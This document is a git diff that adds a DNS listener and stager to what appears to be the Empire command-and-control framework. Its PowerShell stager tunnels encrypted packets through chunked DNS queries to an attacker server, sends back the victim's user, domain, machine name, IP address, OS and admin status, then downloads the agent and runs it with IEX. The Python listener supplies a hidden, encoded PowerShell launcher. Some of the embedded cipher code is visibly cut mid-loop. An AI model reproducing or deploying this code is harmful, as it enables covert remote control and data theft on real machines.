($s.Length -ne ($script:bitLength / 4)) { + throw [System.Exception] "signature length is wrong" + } + + if ($pk.Length -ne ($script:bitLength / 8)) { + throw [System.Exception] "public-key length is wrong" + } + + # Fix array slicing - use proper range syntax + $rByteLength = [int]($script:bitLength / 8) + $totalSigLength = [int]($script:bitLength / 4) + + # Extract R bytes (first half of signature) + $rBytes = New-Object byte[] $rByteLength + [Array]::Copy($s, 0, $rBytes, 0, $rByteLength) + + # Extract S bytes (second half of signature) + $sBytes = New-Object byte[] $rByteLength + [Array]::Copy($s, $rByteLength, $sBytes, 0, $rByteLength) + + $R = decodepoint $rBytes + $A = decodepoint $pk + $Sint = decodeint $sBytes + $h = Hint ( (encodepoint $R) + $pk + $m ) + + $P = scalarmult_B $Sint + $x1,$y1,$z1,$t1 = $P + $temp = (scalarmult $A $h) + $Qval = edwards_add $R $temp + $x2,$y2,$z2,$t2 = $Qval + + # Check if points are on curve and if verification equation holds + if ( (-not (isoncurve $P)) -or (-not (isoncurve $Qval)) ) { + throw [SignatureMismatch]::new("Points are not on curve") + } + + if ( (( ModQ($x1 * $z2 - $x2 * $z1)) -ne 0 ) -or + (( ModQ($y1 * $z2 - $y2 * $z1)) -ne 0 ) ) { + throw [SignatureMismatch]::new("signature does not pass verification") + } + + return $true +} diff --git a/empire/server/data/agent/stagers/dns/comms.py b/empire/server/data/agent/stagers/dns/comms.py new file mode 100644 index 000000000..3f416b4e1 --- /dev/null +++ b/empire/server/data/agent/stagers/dns/comms.py @@ -0,0 +1,81 @@ +import base64 +import random +import sys +import os +import struct +import socket +import time + +class ExtendedPacketHandler(PacketHandler): + def __init__(self, agent, staging_key, session_id, headers, server, taskURIs, key=None): + super().__init__(agent=agent, staging_key=staging_key, session_id=session_id, key=key) + self.headers = headers + self.taskURIs = taskURIs + self.server = server + self.ns = "8.8.8.8" + if os.name == "posix": + try: + with open("/etc/resolv.conf", "r") as f: + for line in f: + if "nameserver" in line: + self.ns = line.split()[1].strip() + break + except Exception: + pass + + def _query(self, domain, qtype=16): + tid = random.randint(1000, 65535) + p = struct.pack(">HHHHHH", tid, 256, 1, 0, 0, 0) + for part in domain.split('.'): + p += struct.pack("B", len(part)) + part.encode() + p += b'\x00' + struct.pack(">HH", qtype, 1) + + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.settimeout(2.0) + try: + sock.sendto(p, (self.ns, 53)) + resp, _ = sock.recvfrom(4096) + if qtype == 16 and len(resp) > len(p): + ans_len = struct.unpack(">H", resp[len(p)+10:len(p)+12])[0] + if ans_len > 0: + txt_len = resp[len(p)+12] + return resp[len(p)+13:len(p)+13+txt_len] + except Exception: + pass + finally: + sock.close() + return None + + def send_message(self, packets=None): + if packets: + enc_data = aes_encrypt_then_hmac(self.key, packets) + routingPacket = self.build_routing_packet(self.staging_key, self.session_id, meta=5, enc_data=enc_data) + b64 = base64.urlsafe_b64encode(routingPacket).decode('utf-8').replace('=','') + + chunk_size = 60 + chunks = [b64[i:i+chunk_size] for i in range(0, len(b64), chunk_size)] + tid = random.randint(1000, 9999) + + for idx, chunk in enumerate(chunks): + q = f"r{tid}c{idx}t{len(chunks)}.{chunk}.{self.server}" + self._query(q, 1) + time.sleep(random.uniform(0.05, 0.2)) + + return ('200', b'') + + else: + routingPacket = self.build_routing_packet(self.staging_key, self.session_id, meta=4) + b64 = base64.urlsafe_b64encode(routingPacket).decode('utf-8').replace('=','') + tid = random.randint(1000, 9999) + + resp = self._query(f"r{tid}c0t1.{b64}.{self.server}", 16) + if resp: + # pad base64 correctly + resp = resp.replace(b"-", b"+").replace(b"_", b"/") + pad = len(resp) % 4 + if pad: + resp += b"=" * (4 - pad) + return ('200', base64.b64decode(resp)) + + self.missedCheckins += 1 + return ('404', b'') diff --git a/empire/server/data/agent/stagers/dns/dns.ps1 b/empire/server/data/agent/stagers/dns/dns.ps1 new file mode 100644 index 000000000..dc3d32b57 --- /dev/null +++ b/empire/server/data/agent/stagers/dns/dns.ps1 @@ -0,0 +1,805 @@ +################################################################# +# This file is a Jinja2 template. +# Variables: +# working_hours +# kill_date +# staging_key +# profile +################################################################# + +{% include 'dns/comms.ps1' %} + +[Reflection.Assembly]::LoadWithPartialName("System.Numerics") | Out-Null + +$Script:pk = {{ agent_public_cert_key }} + +$ChaChaSrc = @" +using System; + +public static class ChaCha20Poly1305Ref +{ + const int ROUNDS = 20; + + static uint ROTL(uint v, int c) { return (v << c) | (v >> (32 - c)); } + + static void QuarterRound(ref uint a, ref uint b, ref uint c, ref uint d) + { + a += b; d ^= a; d = ROTL(d, 16); + c += d; b ^= c; b = ROTL(b, 12); + a += b; d ^= a; d = ROTL(d, 8); + c += d; b ^= c; b = ROTL(b, 7); + } + + static void U32To(byte[] dst, int off, uint v) + { + dst[off+0] = (byte)v; + dst[off+1] = (byte)(v >> 8); + dst[off+2] = (byte)(v >> 16); + dst[off+3] = (byte)(v >> 24); + } + + static void ChaChaBlock(byte[] key, uint counter, byte[] nonce, byte[] output) { + uint[] s = new uint[16]; + s[0]=0x61707865; s[1]=0x3320646e; s[2]=0x79622d32; s[3]=0x6b206574; + for (int i=0;i<8;i++) s[4+i] = U32(key, i*4); + s[12]=counter; + for (int i=0;i<3;i++) s[13+i] = U32(nonce, i*4); + + uint[] x = new uint[16]; + Array.Copy(s, x, 16); + + for (int i=0; i> 2) & 0x3ffffffUL; + ulong r2 = (U32(r, 6) >> 4) & 0x3ffffffUL; + ulong r3 = (U32(r, 9) >> 6) & 0x3ffffffUL; + ulong r4 = (U32(r,12) >> 8) & 0x3ffffffUL; + + ulong s1 = r1 * 5, s2 = r2 * 5, s3 = r3 * 5, s4 = r4 * 5; + ulong h0=0,h1=0,h2=0,h3=0,h4=0; + + int off = 0; + while (off < msg.Length) { + int n = Math.Min(16, msg.Length - off); + var block = new byte[16]; // zero padded by default + Buffer.BlockCopy(msg, off, block, 0, n); + off += n; + + // m as 26-bit limbs (+ hibit in t4) + ulong t0 = U32(block, 0) & 0x3ffffffUL; + ulong t1 = (U32(block, 3) >> 2) & 0x3ffffffUL; + ulong t2 = (U32(block, 6) >> 4) & 0x3ffffffUL; + ulong t3 = (U32(block, 9) >> 6) & 0x3ffffffUL; + ulong t4 = ((U32(block,12) >> 8) | (1u << 24)) & 0x3ffffffUL; + + h0 += t0; h1 += t1; h2 += t2; h3 += t3; h4 += t4; + + ulong d0 = h0*r0 + h1*s4 + h2*s3 + h3*s2 + h4*s1; + ulong d1 = h0*r1 + h1*r0 + h2*s4 + h3*s3 + h4*s2; + ulong d2 = h0*r2 + h1*r1 + h2*r0 + h3*s4 + h4*s3; + ulong d3 = h0*r3 + h1*r2 + h2*r1 + h3*r0 + h4*s4; + ulong d4 = h0*r4 + h1*r3 + h2*r2 + h3*r1 + h4*r0; + + // carry propagate + ulong c = (d0 >> 26); h0 = d0 & 0x3ffffffUL; d1 += c; + c = (d1 >> 26); h1 = d1 & 0x3ffffffUL; d2 += c; + c = (d2 >> 26); h2 = d2 & 0x3ffffffUL; d3 += c; + c = (d3 >> 26); h3 = d3 & 0x3ffffffUL; d4 += c; + c = (d4 >> 26); h4 = d4 & 0x3ffffffUL; h0 += c * 5; + c = (h0 >> 26); h0 &= 0x3ffffffUL; h1 += c; + } + + // Compute h + -p and select + ulong g0 = h0 + 5; ulong c2 = g0 >> 26; g0 &= 0x3ffffffUL; + ulong g1 = h1 + c2; c2 = g1 >> 26; g1 &= 0x3ffffffUL; + ulong g2 = h2 + c2; c2 = g2 >> 26; g2 &= 0x3ffffffUL; + ulong g3 = h3 + c2; c2 = g3 >> 26; g3 &= 0x3ffffffUL; + ulong g4 = h4 + c2 - (1UL<<26); + + ulong mask = (g4 >> 63) - 1; + h0 = (h0 & ~mask) | (g0 & mask); + h1 = (h1 & ~mask) | (g1 & mask); + h2 = (h2 & ~mask) | (g2 & mask); + h3 = (h3 & ~mask) | (g3 & mask); + h4 = (h4 & ~mask) | (g4 & mask); + + // Pack into 128 bits (little-endian) using ALL four f-values + ulong f0 = (h0 ) | (h1 << 26); + ulong f1 = (h1 >> 6 ) | (h2 << 20); + ulong f2 = (h2 >> 12) | (h3 << 14); + ulong f3 = (h3 >> 18) | (h4 << 8 ); + + ulong lo = ((ulong)(uint)f0) | (((ulong)(uint)f1) << 32); + ulong hi = ((ulong)(uint)f2) | (((ulong)(uint)f3) << 32); + + // Add s (rfc: tag = (acc + s) mod 2^128) + ulong s0 = BitConverter.ToUInt64(s, 0); + ulong s11 = BitConverter.ToUInt64(s, 8); + lo += s0; + hi += s11 + ((lo < s0) ? 1UL : 0UL); + + var tb = new byte[16]; + Array.Copy(BitConverter.GetBytes(lo), 0, tb, 0, 8); + Array.Copy(BitConverter.GetBytes(hi), 0, tb, 8, 8); + Buffer.BlockCopy(tb, 0, tag, 0, 16); + } + + static byte[] Pad16(int len) + { + int pad = (16 - (len % 16)) % 16; + return new byte[pad]; + } + + public static byte[] Seal(byte[] key, byte[] nonce, byte[] pt, byte[] aad) + { + if (key == null || key.Length != 32) throw new ArgumentException("key 32B"); + if (nonce == null || nonce.Length != 12) throw new ArgumentException("nonce 12B"); + if (aad == null) aad = new byte[0]; + + // Encrypt: keystream with counter=1 + byte[] ks = new byte[pt.Length]; + KeyStream(key, 1, nonce, ks); + byte[] ct = new byte[pt.Length]; + for (int i=0;i 0 && (bytes[0] & 0x80) != 0) + { + var tmp = new byte[bytes.Length + 1]; + Buffer.BlockCopy(bytes, 0, tmp, 1, bytes.Length); + bytes = tmp; // tmp[0] is 0x00 by default + } + string hexString = BitConverter.ToString(bytes).Replace("-", ""); + return BigInteger.Parse(hexString, System.Globalization.NumberStyles.HexNumber); + } + + public void GenerateSharedSecret(byte[] serverPubKey) + { + BigInteger bigIntValue = BigIntegerFromHexBytes(serverPubKey); + + BigInteger sharedSecret = BigInteger.ModPow(bigIntValue, privateKey, prime); + + byte[] rawSharedSecretBytes = sharedSecret.ToByteArray(); + Array.Reverse(rawSharedSecretBytes); + + // Always normalize to 6147 bytes + int expectedLength = 6147; + if (rawSharedSecretBytes.Length < expectedLength) + { + byte[] padded = new byte[expectedLength]; + Array.Copy(rawSharedSecretBytes, 0, padded, + expectedLength - rawSharedSecretBytes.Length, + rawSharedSecretBytes.Length); + rawSharedSecretBytes = padded; + } + else if (rawSharedSecretBytes.Length > expectedLength) + { + // Truncate if too long (should rarely happen) + rawSharedSecretBytes = rawSharedSecretBytes + .Skip(rawSharedSecretBytes.Length - expectedLength).ToArray(); + } + + + using (SHA256 sha256 = SHA256.Create()) + { + AesKey = sha256.ComputeHash(rawSharedSecretBytes); + } + } + + private static BigInteger GenerateRandomBigInteger() + { + byte[] bytes = new byte[540]; + using (RandomNumberGenerator rng = RandomNumberGenerator.Create()) + { + rng.GetBytes(bytes); + } + bytes[bytes.Length - 1] &= 0x7F; // force positive + BigInteger randomInt = new BigInteger(bytes); + if (randomInt == 0) return GenerateRandomBigInteger(); + return randomInt; + } +} +"@ + +# compile first; stop on errors so you actually see them +$null = Add-Type -TypeDefinition $ChaChaSrc -Language CSharp -ErrorAction Stop +$refs = @("System.Numerics") +$null = Add-Type -TypeDefinition $DiffieHellman -Language CSharp -ReferencedAssemblies $refs -ErrorAction Stop + +# Compat crypto-strong random bytes for PS5+PS7 +function Get-CryptoRandomBytes { + param([Parameter(Mandatory)][int]$Length) + + # allocate the buffer (correct syntax) + $buf = [byte[]]::new($Length) # or: New-Object byte[] $Length + + # PS7 / .NET 5+ supports Fill(); PS5 does not. + $fill = [System.Security.Cryptography.RandomNumberGenerator].GetMethod('Fill', [type[]]@([byte[]])) + if ($null -ne $fill) { + [System.Security.Cryptography.RandomNumberGenerator]::Fill($buf) + } else { + $rng = [System.Security.Cryptography.RandomNumberGenerator]::Create() + try { $rng.GetBytes($buf) } finally { $rng.Dispose() } + } + return $buf +} + + +# Ensure we have a 32-byte key (hash if necessary to match Python's 32B requirement) +function Normalize-Key([byte[]]$kb){ + if($kb.Length -eq 32){ return $kb } + $sha = [System.Security.Cryptography.SHA256]::Create() + return $sha.ComputeHash($kb) +} + +# Build a ChaCha20-Poly1305 routing packet (nonce || AEAD(header) || encData) +function Build-ChaChaRoutingPacket { + param( + [byte[]]$StagingKeyBytes, + [string] $SessionId8, + [byte] $Language = 1, + [byte] $Meta, + [UInt16] $Additional = 0, + [byte[]] $EncData = @() + ) + $key = Normalize-Key $StagingKeyBytes + $nonce = Get-CryptoRandomBytes 12 + + $sid = [System.Text.Encoding]::ASCII.GetBytes($SessionId8) # 8 bytes + $hdr = New-Object byte[] 16 + $sid.CopyTo($hdr, 0) + $hdr[8] = $Language + $hdr[9] = $Meta + $hdr[10] = [byte]($Additional -band 0xFF) + $hdr[11] = [byte](($Additional -shr 8) -band 0xFF) + [BitConverter]::GetBytes([UInt32]$EncData.Length).CopyTo($hdr,12) + + $encHeader = [ChaCha20Poly1305Ref]::Seal($key, $nonce, $hdr, [byte[]]@()) + return $nonce + $encHeader + $EncData +} + +# Decode ChaCha routing packets -> { sessionId : @(lang, meta, additional, encData) } +function Decode-ChaChaRoutingPacket { + param( + [Alias('PacketData')] + [Parameter(Mandatory)]$RawData, + [Parameter(Mandatory)][byte[]]$StagingKeyBytes + ) + + # Coerce to a flat byte[] + $RawData = [byte[]](Convert-ToByteArrayDeep $RawData) + if ($RawData.Length -lt 44) { return $null } + + $key = Normalize-Key $StagingKeyBytes + $i = 0 + $out = @{} + + while (($RawData.Length - $i) -ge 44) { + $nonce = [byte[]]::new(12) + [Buffer]::BlockCopy($RawData, $i, $nonce, 0, 12) + + $aead = [byte[]]::new(32) # 16B enc header + 16B tag + [Buffer]::BlockCopy($RawData, $i + 12, $aead, 0, 32) + + try { + $plain = [ChaCha20Poly1305Ref]::Open($key, $nonce, $aead, [byte[]]@()) + } catch { + break + } + if (-not $plain -or $plain.Length -ne 16) { break } + + $sid = [Text.Encoding]::ASCII.GetString($plain, 0, 8) + $lang = $plain[8] + $meta = $plain[9] + $add = [BitConverter]::ToUInt16($plain, 10) + $lenU = [BitConverter]::ToUInt32($plain, 12) + if ($lenU -gt [int]::MaxValue) { break } + $len = [int]$lenU + + $start = $i + 44 + $end = $start + $len + if ($end -gt $RawData.Length) { break } + + $encData = [byte[]]::new($len) + [Buffer]::BlockCopy($RawData, $start, $encData, 0, $len) + + $out[$sid] = @($lang, $meta, $add, $encData) + $i = $end + } + + return $out +} + +function Aes-EncryptThenHmac { + param([Parameter(Mandatory)][object]$Key, [Parameter(Mandatory)][byte[]]$Plain) + $kb = Get-AesKeyBytes $Key + $iv = Get-CryptoRandomBytes 16 + + try { $aes = New-Object Security.Cryptography.AesCryptoServiceProvider } catch { $aes = New-Object Security.Cryptography.RijndaelManaged } + $aes.Mode = 'CBC' + $aes.Padding = 'PKCS7' + $aes.Key = $kb + $aes.IV = $iv + $ct = $aes.CreateEncryptor().TransformFinalBlock($Plain,0,$Plain.Length) + $body = $iv + $ct + $h = New-Object Security.Cryptography.HMACSHA256 + $h.Key = $kb + $mac = ($h.ComputeHash($body))[0..9] + return $body + $mac +} + +function Decrypt-Bytes { + param([Parameter(Mandatory)]$Key, [Parameter(Mandatory)][byte[]]$In) + if(-not $In -or $In.Length -le 32){ return $null } + + $kb = Get-AesKeyBytes $Key # <-- same normalization on decrypt + $mac = $In[-10..-1] + $body = $In[0..($In.Length-11)] + + $h = New-Object Security.Cryptography.HMACSHA256 + $h.Key = $kb + $exp = ($h.ComputeHash($body))[0..9] + if(@(Compare-Object $mac $exp -Sync 0).Length -ne 0){ return $null } + + $iv = $body[0..15] + $ct = $body[16..($body.Length-1)] + try { $aes = New-Object Security.Cryptography.AesCryptoServiceProvider } catch { $aes = New-Object Security.Cryptography.RijndaelManaged } + $aes.Mode = 'CBC' + $aes.Padding='PKCS7' + $aes.Key = $kb + $aes.IV = $iv + return $aes.CreateDecryptor().TransformFinalBlock($ct,0,$ct.Length) +} + +function Get-AesKeyBytes { + param([Parameter(Mandatory)]$Key) + + if ($Key -is [byte[]]) { + switch ($Key.Length) { + 16 { return $Key } + 24 { return $Key } + 32 { return $Key } + default { return (Get-Sha256 $Key) } # compress to 32 bytes + } + } + + $s = [string]$Key + + if ($s -match '^[\s]*0x?[0-9a-fA-F]+[\s]*$' -and (($s -replace '^\s*0x','' -replace '\s','').Length % 2 -eq 0)) { + $b = Convert-HexStringToBytes $s + return ($(switch ($b.Length) {16{$b} 24{$b} 32{$b} default{ Get-Sha256 $b } })) + } + + try { + $b64 = [Convert]::FromBase64String($s) + return ($(switch ($b64.Length) {16{$b64} 24{$b64} 32{$b64} default{ Get-Sha256 $b64 } })) + } catch { } + + return (Get-Sha256 ([Text.Encoding]::UTF8.GetBytes($s))) +} + +function Convert-HexStringToBytes { + param([Parameter(Mandatory)][string]$Hex) + $h = $Hex.Trim() + if ($h -match '^0x') { $h = $h.Substring(2) } + if ($h.Length % 2 -ne 0) { throw "Hex string must have even length." } + if ($h -notmatch '^[0-9a-fA-F]+$') { throw "Invalid hex string." } + $bytes = New-Object byte[] ($h.Length/2) + for ($i=0; $i -lt $bytes.Length; $i++) { + $bytes[$i] = [Convert]::ToByte($h.Substring($i*2,2),16) + } + return $bytes +} + +function Get-Sha256 { + param([Parameter(Mandatory)][byte[]]$Bytes) + $sha = [System.Security.Cryptography.SHA256]::Create() + try { return $sha.ComputeHash($Bytes) } finally { $sha.Dispose() } +} + +function Convert-ToByteArrayDeep { + param([Parameter(Mandatory)]$Data) + + if ($Data -is [byte[]]) { return $Data } + if ($Data -is [System.IO.MemoryStream]) { return $Data.ToArray() } + + $out = [System.Collections.Generic.List[byte]]::new() + + function add([object]$x) { + if ($x -is [byte]) { $out.Add($x); return } + elseif ($x -is [sbyte]) { $out.Add([byte]([sbyte]$x)); return } + elseif ($x -is [int]) { $out.Add([byte]$x); return } + elseif ($x -is [uint32]) { $out.Add([byte]$x); return } + elseif ($x -is [byte[]]) { $out.AddRange($x); return } + elseif ($x -is [System.IO.MemoryStream]) { $out.AddRange($x.ToArray()); return } + elseif ($x -is [System.Collections.IEnumerable] -and -not ($x -is [string])) { + foreach ($y in $x) { add $y } + return + } + else { throw "Unsupported element type: $($x.GetType().FullName)" } + } + + add $Data + return $out.ToArray() +} + +function Start-Negotiate { + param($s,$SK,$UA='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko') + + # make sure the appropriate assemblies are loaded + [Reflection.Assembly]::LoadWithPartialName("System.Security") | Out-Null + [Reflection.Assembly]::LoadWithPartialName("System.Core") | Out-Null + + + $e = [Text.Encoding]::UTF8 + $SKB = $e.GetBytes($SK) + + # ---- Build Stage0 (client -> server) : DH client pub || agent_cert(64) ---- + # 1) Create DH instance and grab the public key bytes (little-endian) + $dh = [DiffieHellman]::new() + $pubLE = $dh.PublicKeyBytes # little-endian, two's complement + + # 2) Convert to big-endian, fixed length (768 bytes) + function To-BigEndianFixedFromLE { + param( + [Parameter(Mandatory)][byte[]]$LittleEndian, + [Parameter(Mandatory)][int]$Length + ) + # Strip the sign-extension byte if present (LE puts it at the END) + if ($LittleEndian.Length -gt 0 -and $LittleEndian[-1] -eq 0x00) { + $LittleEndian = $LittleEndian[0..($LittleEndian.Length-2)] + } + + # Reverse to big-endian + $be = $LittleEndian.Clone() + [Array]::Reverse($be) + + # Pad/truncate to fixed size + if ($be.Length -gt $Length) { + $be = $be[($be.Length - $Length)..($be.Length - 1)] + } elseif ($be.Length -lt $Length) { + $pad = [byte[]]::new($Length - $be.Length) + $be = $pad + $be + } + return ,$be + } + + $cpBE768 = To-BigEndianFixedFromLE -LittleEndian $pubLE -Length 768 + $mbytes = [System.Text.Encoding]::ASCII.GetBytes("SIGNATURE") + + # 3) Concatenate with your 64-byte cert + $agentCert = signature_unsafe $mbytes $Script:skbytes $Script:pk + [byte[]]$stage1Msg = $cpBE768 + $agentCert + + # AES-CBC + HMAC with staging key + $eb = Aes-EncryptThenHmac -Key $SKB -Plain $stage1Msg + + # prepare webclient +function Invoke-DnsUpload { + param($Packet) + $B64 = [Convert]::ToBase64String($Packet).Replace('+','-').Replace('/','_').Replace('=','') + $ChunkSize = 60 + $TotalChunks = [Math]::Ceiling($B64.Length / $ChunkSize) + if ($TotalChunks -eq 0) { $TotalChunks = 1 } + $TransID = Get-Random -Minimum 1000 -Maximum 9999 + $Domain = $s -replace '^https?://', '' -replace '/$', '' + + for($i=0; $i -lt $TotalChunks; $i++) { + $StartIndex = $i * $ChunkSize + $Len = $ChunkSize + if($StartIndex + $Len -gt $B64.Length) { $Len = $B64.Length - $StartIndex } + if($Len -lt 0) { $Len = 0 } + $ChunkData = "" + if ($B64.Length -gt 0) { + $ChunkData = $B64.Substring($StartIndex, $Len) + } + + if ($i -eq ($TotalChunks - 1)) { + # Last chunk: send as TXT to get the response + $Query = "r$($TransID)c$($i)t$($TotalChunks).$ChunkData.xyz" + try { $result = Resolve-DnsName -Name $Query -Server $Domain -Type TXT -DnsOnly -ErrorAction SilentlyContinue } catch { $result = $null } + + if ($null -ne $result -and ($result.Type -eq 'TXT' -or $result.RecordType -eq 'TXT')) { + $TxtData = ($result.Strings -join '') + + # Server sends JOB: when the response is too large for one TXT record + if ($TxtData.StartsWith("JOB:")) { + $JobID = $TxtData.Split(":")[1] + $DownloadB64 = "" + $c = 0 + while ($true) { + $DlQuery = "s$($JobID)c$($c).xyz" + try { + $dlResult = Resolve-DnsName -Name $DlQuery -Server $Domain -Type TXT -DnsOnly -ErrorAction SilentlyContinue + } catch { $dlResult = $null } + + if ($null -ne $dlResult -and ($dlResult.Type -eq 'TXT' -or $dlResult.RecordType -eq 'TXT')) { + $ChunkTxt = ($dlResult.Strings -join '') + if ([string]::IsNullOrEmpty($ChunkTxt)) { break } + $DownloadB64 += $ChunkTxt + $c++ + Start-Sleep -Milliseconds 20 + } else { break } + } + $TxtData = $DownloadB64 + } + + if (-not [string]::IsNullOrEmpty($TxtData)) { + $PadCount = 4 - ($TxtData.Length % 4) + if($PadCount -lt 4 -and $PadCount -gt 0) { $TxtData += '=' * $PadCount } + $TxtData = $TxtData.Replace('-','+').Replace('_','/') + return [Convert]::FromBase64String($TxtData) + } + } + } else { + # Intermediate chunks: send as A record (fire and forget) + $Query = "r$($TransID)c$($i)t$($TotalChunks).$ChunkData.xyz" + try { $null = Resolve-DnsName -Name $Query -Server $Domain -Type A -DnsOnly -ErrorAction SilentlyContinue } catch {} + Start-Sleep -Milliseconds 20 + } + } + return $null +} + + # session id (8 bytes ASCII) + $ID='00000000' + + # stage_1: ChaCha20-Poly1305 routing with AES/HMAC body + $chachaPkt = Build-ChaChaRoutingPacket -StagingKeyBytes $SKB -SessionId8 $ID -Language 1 -Meta 2 -Additional 0 -EncData $eb + $raw = Invoke-DnsUpload -Packet $chachaPkt + + + # parse routing + $pktMap = Decode-ChaChaRoutingPacket -RawData $raw -StagingKeyBytes $SKB + if(-not $pktMap){ return } + + # Take the session id the server actually used and adopt it + $ID = $pktMap.Keys | Select-Object -First 1 + $fields = $pktMap[$ID]; if(-not $fields){ $firstKey = $pktMap.Keys | Select-Object -First 1; $fields = $pktMap[$firstKey] } + $EncryptedPayloadBytes = [byte[]]$fields[3] + + # decrypt (staging key) + $plain = Decrypt-Bytes -Key $SKB -In $EncryptedPayloadBytes + if(-not $plain){ return } + + # server: nonce(16) || server_pub || server_cert(64) + if($plain.Length -lt 16+64){ return } + $nonce = $plain[0..15] + $serverPubBytes = $plain[16..($plain.Length-65)] + $serverCert = $plain[($plain.Length-64)..($plain.Length-1)] + try{ + $result = checkvalid $serverCert $mbytes $Script:serverPubBytes + + } + catch{ + # kill the agent if the server cert isn't valid + exit 1 + } + $serverPubRaw = $serverPubBytes + + $dh.GenerateSharedSecret($serverPubBytes) + + # 32-byte key derived via SHA-256 of the shared secret bytes (from your class) + $sessionkey = $dh.AesKey + $Script:SessionKey = $sessionkey + $sessionkeyb64 = [Convert]::ToBase64String($sessionkey) + + # ---- Stage2: send sysinfo with AES/HMAC(SessionKey) ---- + # Nonce is ASCII digits (e.g., '5348601603889370'); parse, increment, stringify + $nonceText = [Text.Encoding]::ASCII.GetString($nonce) + if ($nonceText -notmatch '^\d+$') { return } + $nonceStr = ([bigint]$nonceText + 1).ToString() + + # collect sysinfo (same layout you had) + $i = "$nonceStr|$s|$([Environment]::UserDomainName)|$([Environment]::UserName)|$([Environment]::MachineName)" + try{ + $p=(Get-WmiObject Win32_NetworkAdapterConfiguration -ErrorAction SilentlyContinue | Where-Object {$_.IPAddress} | Select-Object -ExpandProperty IPAddress) + } catch { $p = "[FAILED]" } + $ip = @{$true=$p[0];$false=$p}[$p.Length -lt 6]; if(-not $ip -or $ip.Trim() -eq ''){ $ip='0.0.0.0' } + $i += "|$ip" + try{ $i += '|' + (Get-WmiObject Win32_OperatingSystem).Name.split('|')[0] } catch{ $i += '|[FAILED]' } + if(([Environment]::UserName).ToLower() -eq 'system'){ $i += '|True' } + else { + $isAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") + $i += '|' + $isAdmin + } + $proc = [System.Diagnostics.Process]::GetCurrentProcess() + $i += "|$($proc.ProcessName)|$($proc.Id)" + $i += "|powershell|$($PSVersionTable.PSVersion.Major)" + $i += "|$env:PROCESSOR_ARCHITECTURE" + + $ib2 = $e.GetBytes($i) + $eb2 = Aes-EncryptThenHmac -Key $SessionKey -Plain $ib2 +# stage_2: ChaCha20-Poly1305 routing with AES/HMAC(SessionKey) body + $chachaPkt2 = Build-ChaChaRoutingPacket -StagingKeyBytes $SKB -SessionId8 $ID -Language 1 -Meta 3 -Additional 0 -EncData $eb2 + $raw2 = Invoke-DnsUpload -Packet $chachaPkt2 + + + # receive agent, decrypt with SessionKey, IEX + $pktMap2 = Decode-ChaChaRoutingPacket -RawData $raw2 -StagingKeyBytes $SKB + if(-not $pktMap2){ return } + $fields2 = $pktMap2[$ID]; if(-not $fields2){ $firstKey = $pktMap2.Keys | Select-Object -First 1; $fields2 = $pktMap2[$firstKey] } + $agentEnc = [byte[]]$fields2[3] + $agentBytes = Decrypt-Bytes -Key $SessionKey -In $agentEnc + if($agentBytes){ + IEX ($e.GetString($agentBytes)) + } + + # cleanup + $wc=$null;$raw=$null;$raw2=$null;$eb=$null;$eb2=$null;$ib2=$null;$agentBytes=$null + [GC]::Collect() + + # hand off to your main runtime + Invoke-Empire -Servers @(($s -split "/")[0..2] -join "/") -StagingKey $SK -SessionKey $SessionKeyB64 -SessionID $ID -WorkingHours "{{ working_hours }}" -KillDate "{{ kill_date }}" -ProxySettings $Script:Proxy; +} +# $ser is the server populated from the launcher code, needed here in order to facilitate hop listeners +Start-Negotiate -s "$ser" -SK '{{ staging_key }}' -UA $u -hop "$hop"; diff --git a/empire/server/listeners/dns.py b/empire/server/listeners/dns.py new file mode 100644 index 000000000..5a5887d43 --- /dev/null +++ b/empire/server/listeners/dns.py @@ -0,0 +1,548 @@ +import base64 +import logging +import random +import re +import socket +import struct +import threading +import time +import os + +from cryptography.hazmat.primitives import serialization +from cryptography.hazmat.primitives.asymmetric import ed25519 + +from empire.server.common import helpers, packets, templating, encryption +from empire.server.common.encryption import AESCipher +from empire.server.utils import data_util +from empire.server.core.db.base import SessionLocal + +LOG_NAME_PREFIX = __name__ +log = logging.getLogger(__name__) + +class Listener: + def __init__(self, mainMenu): + self.mainMenu = mainMenu + self.running = False + self.server = None + self.instance_log = log + + self.info = { + "Name": "DNS", + "Authors": [{"Name": "Axel Lenroué", "Handle": "@Affell", "Link": "https://github.com/affell"}], + "Description": "Starts a DNS listener that uses chunked records/A/TXT for communication.", + "Category": "client_server", + "Comments": [], + "Software": "", + "Techniques": [], + "Tactics": [], + } + + self.options = { + "Name": { + "Description": "Name for the listener.", + "Required": True, + "Value": "dns", + }, + "Host": { + "Description": "Hostname/IP for staging. (e.g. ns1.domain.com)", + "Required": True, + "Value": helpers.lhost(), + }, + "BindIP": { + "Description": "The IP to bind to on the control server.", + "Required": True, + "Value": "0.0.0.0", + }, + "Port": { + "Description": "Port for the listener.", + "Required": True, + "Value": "53", + }, + "Launcher": { + "Description": "Launcher string.", + "Required": True, + "Value": 'powershell -noP -sta -w 1 -enc ', + }, + "StagingKey": { + "Description": "Staging key for initial agent negotiation.", + "Required": True, + "Value": "2c103f2c4ed1e59c0847327745e6eb48", + }, + "DefaultDelay": { + "Description": "Agent delay/reach back interval (in seconds).", + "Required": True, + "Value": 5, + "Strict": False, + }, + "DefaultJitter": { + "Description": "Jitter in agent reachback interval (0.0-1.0).", + "Required": True, + "Value": 0.0, + "Strict": False, + }, + "DefaultLostLimit": { + "Description": "Number of missed checkins before exiting", + "Required": True, + "Value": 60, + "Strict": False, + }, + "DefaultProfile": { + "Description": "Default profile for the agent.", + "Required": True, + "Value": "/admin/get.php,/news.php,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", + "Strict": False, + }, + "KillDate": { + "Description": "Date for the listener to exit (MM/dd/yyyy).", + "Required": False, + "Value": "", + }, + "WorkingHours": { + "Description": "Hours for the agent to operate (09:00-17:00).", + "Required": False, + "Value": "", + } + } + + self.agent_private_cert_key_object = ed25519.Ed25519PrivateKey.generate() + self.server_private_cert_key_object = ed25519.Ed25519PrivateKey.generate() + self.agent_private_cert_key = self.agent_private_cert_key_object.private_bytes_raw() + self.agent_public_cert_key = encryption.publickey_unsafe(self.agent_private_cert_key) + self.server_private_cert_key = self.server_private_cert_key_object.private_bytes_raw() + self.server_public_cert_key = encryption.publickey_unsafe(self.server_private_cert_key) + + self.chunk_buffer = {} + self.stage_downloads = {} + + def default_response(self): + 